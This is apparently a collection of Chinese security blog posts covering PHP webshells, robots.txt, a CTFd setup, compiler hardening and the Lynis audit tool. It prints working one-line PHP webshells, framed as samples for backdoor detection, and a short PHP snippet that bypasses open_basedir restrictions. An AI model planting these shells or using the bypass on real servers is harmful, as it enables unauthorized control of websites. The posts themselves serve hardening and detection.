基於 Echo Shorthand Tags 的 PHP Webshell

駭客在入侵網站後, 通常都會放入網頁後門程式(Webshell), 用以確保控制權不容易因為弱點被修復而消失.

下方是常見的簡短 Webshell (一句話木馬)

<?php system($_GET[0]);

最近發現了另一種簡短的 Webshell, 利用了 PHP shorthand tag, 寫法如下

<?=`ls`;

其效果等價於

<?php echo system('ls');

很多管理員認為預設不開啟 short tags 就可以避開這種後門, 但事實並非如此

在 php.ini 中掌管 short tag 的參數為

short_open_tag = Off

官方對於 short_open_tag 的說明中有提到 <?= 並不包含其中, 因此在做後門探測的時候, 記得也要針對這類型的後門進行檢查

偉哉PHP

Robots.txt 的使用方法與安全注意事項

Robots.txt 是什麼

robots.txt (固定全小寫) 是一個放在網域的根目錄的文字檔案, 裡面的內容用於指示網路爬蟲什麼東西該索引以及什麼東西不該索引, 不難看出網站的SEO與安全性都與這個小小的檔案有莫大的關聯.

由於 robots.txt 是約定成俗的用法並不是一個標準, 因此不能保證遵守以及隱私性(不該給別人看到的東西就要鎖好)

Robots.txt 的使用方法

常見指令

User-agent: 設定什麼爬蟲要遵守接下來的規定
Disallow: 禁止索引
Allow: 歡迎索引
Sitemap: 網站的 Sitemap 位置, 加速爬蟲索引
Crawl-delay: 每一次的請求之前的延遲時間

使用範例

  • 禁止所有爬蟲索引
User-agent: * 
Disallow: /
  • 禁止所有爬蟲索引 /img/ 這個目錄
User-agent: * 
Disallow: /img/
  • 禁止百度爬蟲索引所有內容
User-agent: Baiduspider
Disallow: /
  • 禁止所有爬蟲索引但 Google 爬蟲例外
User-agent: *
Disallow: /
User-agent: Googlebot
Allow: /
  • 每一次存取間隔 1秒
    禁止所有爬蟲索引, 但 Google 爬蟲例外
User-agent: *
Disallow: /

User-agent: Googlebot
Allow: /
Crawl-delay: 1

不是所有的爬蟲都支援 Allow 抵銷 Disallow

  • 不索引任何 js 檔案
User-agent: *
Disallow: /*.js$

路徑匹配方式

超乎預期的影響力

若想要阻擋 /news 這個網頁的存取, 下面這個寫法看起來正確, 但實際上影響範圍更廣

Disallow: /news

這個寫法不只阻擋 /news, 連同 /news-123, /news-234 也都會被阻擋, 只要前面吻合就會忽略

正確寫法

因此正確寫法應該是在末端加入 $(結尾符號), 表示要完全吻合

Disallow: /news$

如此一來就只會不索引 /news, 其餘網頁仍然會正常索引

使用後設(Meta)資料

robots.txt 通常用來阻擋固定不變的內容, 但有時候我們會需要動態生成阻擋名單, 我們不必動態生成 robots.txt, 可以透過在網頁中加入以下後設(Meta)資料, 來達到禁止索引的效果

<meta name="robots" content="noindex,nofollow" />

爬蟲在讀取該網頁後便會放棄索引網站內容

逆向 SEO

我們可以透過 robots.txt disallow 與 後設(Meta)資料來促使爬蟲移除特定頁面, 藉此移除過期內容以及增加網站資料簡潔度

注意事項

  • 大小寫敏感, /img 不等於 /IMG
  • 文字間的空白會被省略, /hello world 等於 /helloworld

Robots.txt 帶來的資安問題

網站中有很多秘密不想讓別人知道, 其中最常見的就是管理後台,為了避免後台被索引, 我們可能會將 robots.txt 寫成這樣

User-agent: * 
Disallow: /admin/

這樣一來, 攻擊者就無法使用 Google Hacking 技巧來找出後台位置了, 這樣的想法大錯特錯.

對於攻擊者而言, 他可以打開 robots.txt 檔案看看你 Disallow 哪些東西, 等同於告訴攻擊者哪裡有機密, 這是一種此地無銀三百兩的概念.

即使你的後台名稱叫做 /you_will_never_never_guess_where_is_the_admin/, 不管當中有多少 never, 攻擊者都可以直接找到正確位置.

為了避免這類型的問題, 我們可以將 robots.txt 寫成這樣

User-agent: * 
Disallow: /you_will_never

利用路徑匹配的特性, 間接的禁止索引真正的後台位置.

結論

robots.txt 應該視為引導爬蟲索引網站的工具, 而不是保護網站的工具, 任何不希望出現在網路上的資料不應該上傳到網路上, 假若逼不得已必須放到網路上, 必須使用 Http Authorization 之類的存取保護機制保護資料.

使用 CTFd 架設 CTF 平台 (Apache + mod_wsgi + MySQL)

這陣子因為課程需要建立一個 CTF 平台, 最後決議使用 CTFd 來架設這次的CTF計分板, 安裝的過程中踩了不少的地雷, 又因為懶得裝 Nginx 改採 Apache + mod_wsgi 結果冒出了更多問題, 真的是人不作死就不會死.

本篇文章假定各位已經裝好 Apache 與 MySQL.

關於 CTFd

CTFd 是 isislab 推出的 open source jeopardy style CTF platform, 使用上非常容易上手, 運行要求十分輕量且容易客製化.
DEMO: CTFd.io

環境資訊

Python 2.7
Apache 2.4
Debian 8

1. 環境準備

sudo apt-get update
sudo apt-get install build-essential libffi-dev git libapache2-mod-wsgi python-pip python-dev
a2enmod mod_wsgi

2. 取的最新版 CTFd

git clone https://github.com/isislab/CTFd.git
cd CTFd

3. 安裝相依

pip install -r requirements.txt
pip install -U sqlalchemy

4. 設定啟動腳本

在 CTFd 下建立 apache.py, 讓 Apache 使用這個 py 來啟動服務

import sys
sys.path.insert(0, '/CTFd') # /CTFd 要改成你的 CTFd 主目錄的路徑, 範例是放在 /CTFd

from CTFd import create_app
application = create_app()

5. 設定 Apache

DocumentRoot /CTFd # CTFd 所在目錄
WSGIDaemonProcess CTFd user=www-data group=www-data threads=5 # user/group 決定 Apache 用哪個帳號運行這支程式
WSGIScriptAlias / /CTFd/apache.py # 前面步驟設定的啟動腳本
 <Directory /CTFd>
    WSGIProcessGroup CTFd
    WSGIApplicationGroup %{GLOBAL}
    Order allow,deny
    Allow from all
    Require all granted  # Apache 2.4 預設禁止目錄在 /var/www 外, 這行可以解除這項限制
</Directory>

6. 設定資料庫連線(Mysql)

建立資料庫的時候編碼記得選擇 utf8mb4_bin (若選擇general將會導致計分板無法正確取得題目類型), 這樣就可以讓 CTFd 支援 Emoji 和中文

編輯 CTFd/CTFd/config.py

SQLALCHEMY_DATABASE_URI = "mysql://帳號:密碼@主機位置/資料庫名稱?charset=utf8mb4"

這邊無需導入資料表, 在網站第一次啟動的時候程式會自動建立必要資料表以及產生Admin

7. 重新啟動 Apache

systemctl restart apache2

備註

由於 CTFd 有檔案上傳與Log, 要記得將 CTFd 目錄的擁有者設定成 Apache 使用的帳號, 不然CTFd不會正常運作

open_basedir 繞過

在多使用者或者設定較為嚴格的環境中, 管理者會在 php.ini 中指定 open_basedir 來避免目錄存取越界, 但實際上 open_basedir 這個參數在某些狀況下是無效的, 是可以技巧性的繞過

熟悉 php 開發的人應該都會知道 glob 這個函數, glob 函數實際上是不受到 open_basedir 影響, 可以取得限制外的資訊, 解決辦法就只要將其禁用即可, 但除了 glob 這個函數外還有另一種方法.

方法

在 php5 以上 有一個 Class: DirectoryIterator, 我們可以藉由這個類別與 glob:// 來再次繞過 open_basedir

Code:

$files = [];
$glob = new DirectoryIterator("glob:///*");
foreach($glob as $f) {
    $files[] = $f->__toString();
}

Security Hardening Guides 的 Compilers 是什麼?

在很多檢查工具中都會有一個類別叫做 Hardening, 在這個類別中常見的東西有 安裝防毒, 定時稽核… 等, 其中有一個項目叫做 Compiler(s), 這個項目是我被問過最多次的一個項目, 在這邊跟大家分享這個項目的主要目的

說明

Compiler(s) 項目表示主機內有可供使用的編譯器, 像是 gcc, g++ 這類可以直接編出 Binary 的編譯器

風險

基本上在大多數正確設置的主機中, 若權限設定得宜可以將入侵後的破壞風險控制住, 但 Kernel 漏洞是很多人難以處置的問題, 可能原因是主機無法任意重開或者懶得管, Kernel 漏洞跟編譯器的主要關聯在於Kernel 漏洞可以透過編譯 exploit 來進行提權, 藉此獲取更高的權限, 這將使權限設定的效果降低, 而這樣的過程需要使用編譯器, 因此一個可以被使用者使用的編譯器會讓主機在某些層面上增加風險.

補充

  1. Lynis 有檢查這個項目
  2. 2016/10/20 – Linux 發現一個存在9年的 Kernel exploit – Dirty COW(CVE-2016-5195), 就是一個需要在編譯 exploit 的例子. 參考來源: The Hacker News – Dirty COW

Lynis: 忽略特定檢查

Lynis 讓我們可以快速的檢查主機的安全問題, 但有些檢查是我們不感興趣(例如提示), 或者主機特殊需求造成的誤判, 實際上 Lynis 是可以讓我們自定要跳過哪些項目

我們可以在 Lynis 的設定檔案中定義想要忽略的檢查, 這邊我使用預設的profile

default.prf

在最下面加入以下內容

skip-test=你想跳過的檢查編號

這邊的例子是想忽略 PKGS-7392 這個檢查項目

skip-test=PKGS-7392

如果想跳過多個就多寫幾行

skip-test=跳過檢查編號1
skip-test=跳過檢查編號2
skip-test=跳過檢查編號3

這樣在下次執行 Lynis 的檢查時將不會檢查我們希望忽略的檢查項目了

Lynis: Linux 主機安全性掃描工具

作為一個主機維運人員, 資訊安全一直都是我們非常注重的一個目標, 但主機一多就不容易顧及到所有細節.

本篇文章介紹的 Lynis 是一套 Linux 的主機稽核工具, 可以用來檢查主機的漏洞與弱點, 以及簡易的後門檢查, 也可以針對各種設定做出建議, 是一套非常好用的主機安全維護工具

安裝 Lynis

方法一: 使用 apt-get

使用 Debian, Ubuntu 的使用者可以使用 apt-get 進行安裝

apt-get install lynis 

雖然 apt 很方便, 但 apt 上的版本不會是最新的, 安全檢測工具最好要維持在最新版, 才能提供最完善的檢測效果, 建議從官方網站下載最新版本

方法二: 從官方網站下載(建議)

前往 官方網站 下載最新的版本

我在寫這邊文章的時候最新版本是 2.3.4, 下方指令使用 2.3.4 版作為示範, 記得要更換為最新版本喔!

wget https://cisofy.com/files/lynis-2.3.4.tar.gz
tar zxvf lynis-2.3.4.tar.gz
cd lynis

執行 Lynis

Lynis 的執行分為 root 模式與一般使用者模式, root 模式會檢查所有細節, 一般使用者模式僅檢查一些通用項目, 在這邊建議各位使用 root 模式

使用 root 執行 Lynis

sudo ./lynis audit system -Q

新版本還可以檢查 dockerfile, 挺厲害的呢

Lynis 將會開始進行各項稽核

執行完成後 Lynis 會將 log 放置於

/var/log/lynis.log

Lynis 結果報告

報告解讀與改善

透過 Lynis 的執行結果, 我們會發現 [FOUND], [NONE] 各種檢測結果, 這些結果根據不同的分類會有不同的解釋, 最簡易的判定方式是藉由顏色分辨, 綠色正常, 黃色提醒, 紅色警告, 但這不是絕對, 實際上需要依據實際需求狀況去做探討.


上圖就是一個例子, 由於這台主機的角色為路由器, 因此很多特殊的設定都被打開, 在這邊的紅字反而但表著正常.

在 Lynis 檢查結果的最後會附上如下圖的建議事項表

拿其中的一項做舉例

Warnings (1):
  ----------------------------
  ! Found one or more vulnerable packages. [PKGS-7392]
      https://cisofy.com/controls/PKGS-7392/

這個例子中舉例有弱點套件沒有更新, 前往下方的網址 PKGS-7392 就可以了解詳細的內容, 像是如何修補的建議與漏洞成因之類的, 在這次的範例中給出了下方的指令, 看樣子是更新系統的指令

apt-get update
apt-get upgrade

更新之後再一次的執行 Lynis, 就發現這個項目消失了, 代表我們解決了這個問題, 主機的安全更進一步了.

報告細節

有些公司可能會要求記錄稽核改善過程, Lynis 可以幫助你寫出好像很厲害的細節, 延續上面的例子, 我們針對 PKGS-7392 這個稽核項目進行更深入的了解

Lynis 提供的 show details 指令, 讓我們可以查詢每一項稽核結果的細節, 下方以PKGS-7392為例

sudo ./lynis show details PKGS-7392

Lynis 就會從 /var/log/lynis.log 中取出關於 PKGS-7392 的部分

2016-10-21 12:49:46 Performing test ID PKGS-7392 (Check for Debian/Ubuntu security updates)
2016-10-21 12:49:46 Action: updating repository with apt-get
2016-10-21 12:49:51 Result: apt-get finished
2016-10-21 12:49:51 Test: Checking if /usr/lib/update-notifier/apt-check exists
2016-10-21 12:49:51 Result: apt-check (update-notifier-common) not found
2016-10-21 12:49:51 Result: found vulnerable package(s) via apt-get (-security channel)
2016-10-21 12:49:51 Found vulnerable package: bind9-host
2016-10-21 12:49:51 Found vulnerable package: dnsutils
2016-10-21 12:49:51 Found vulnerable package: exim4
2016-10-21 12:49:51 Found vulnerable package: exim4-base
2016-10-21 12:49:51 Found vulnerable package: exim4-config
2016-10-21 12:49:51 Found vulnerable package: exim4-daemon-light
2016-10-21 12:49:51 Found vulnerable package: fontconfig
2016-10-21 12:49:51 Found vulnerable package: fontconfig-config
2016-10-21 12:49:51 Found vulnerable package: host
2016-10-21 12:49:51 Found vulnerable package: libbind9-90
2016-10-21 12:49:51 Found vulnerable package: libcurl3-gnutls
2016-10-21 12:49:51 Found vulnerable package: libdns-export100
2016-10-21 12:49:51 Found vulnerable package: libdns100
2016-10-21 12:49:51 Found vulnerable package: libfontconfig1
2016-10-21 12:49:51 Found vulnerable package: libgcrypt20
2016-10-21 12:49:51 Found vulnerable package: libgd3
2016-10-21 12:49:51 Found vulnerable package: libgdk-pixbuf2.0-0
2016-10-21 12:49:51 Found vulnerable package: libgdk-pixbuf2.0-common
2016-10-21 12:49:51 Found vulnerable package: libgraphite2-3
2016-10-21 12:49:51 Found vulnerable package: libidn11
2016-10-21 12:49:51 Found vulnerable package: libintl-perl
2016-10-21 12:49:51 Found vulnerable package: libirs-export91
2016-10-21 12:49:51 Found vulnerable package: libisc-export95
2016-10-21 12:49:51 Found vulnerable package: libisc95
2016-10-21 12:49:51 Found vulnerable package: libisccc90
2016-10-21 12:49:51 Found vulnerable package: libisccfg-export90
2016-10-21 12:49:51 Found vulnerable package: libisccfg90
2016-10-21 12:49:51 Found vulnerable package: libjasper1
2016-10-21 12:49:51 Found vulnerable package: liblwres90
2016-10-21 12:49:51 Found vulnerable package: libmodule-build-perl
2016-10-21 12:49:51 Found vulnerable package: libtasn1-6
2016-10-21 12:49:51 Found vulnerable package: linux-image-3.16.0-4-amd64
2016-10-21 12:49:51 Found vulnerable package: linux-libc-dev
2016-10-21 12:49:51 Found vulnerable package: ntp
2016-10-21 12:49:51 Found vulnerable package: ntpdate
2016-10-21 12:49:51 Found vulnerable package: openssh-client
2016-10-21 12:49:51 Found vulnerable package: openssh-server
2016-10-21 12:49:51 Found vulnerable package: openssh-sftp-server
2016-10-21 12:49:51 Found vulnerable package: python-pil
2016-10-21 12:49:51 Found vulnerable package: qemu-guest-agent
2016-10-21 12:49:51 Warning: Found one or more vulnerable packages. [test:PKGS-7392] [details:-] [solution:-]
2016-10-21 12:49:51 Suggestion: Update your system with apt-get update, apt-get upgrade, apt-get dist-upgrade and/or unattended-upgrades [test:PKGS-7392] [details:-] [solution:-]
2016-10-21 12:49:51 ===---------------------------------------------------------------===

這樣我們就可以依據Log結果來寫稽核報告了呢

定時執行

稽核要定時執行才能達到最好的效果, 我們可以藉由加入 crontab 來達到自動重複執行的目的

crontab -e

這邊假設 每天凌晨四點執行 (小提醒: 請注意主機時區)

0  4   *   *   *   root    /were/is/the/lynis audit system --no-colors -q -Q

這樣每天凌晨四點就可以去 /var/log/lynis.log 取得 分析結果, 有空的網管可以自己寫一支程式去分析結果然後寄送mail, Lynis 有提供可程式讀取的報告檔案

/var/log/lynis-report.dat

更新 Lynis

Lynis 要積極更新才能發揮他完整的作用, 可以使用以下指令來查詢是否有新的版本

./lynis update info

這部分有點可惜的是, Lynis 2.2 以後免費版就不再提供官方更新點了

雖然 Lynis 內建了更新指令, 但要自行架設更新主機

./lynis update release

由於不能直接更新, 各位要記得定時到官方網站下載最新版, 至於更新點的架設, 下次有機會的時候再來與各位分享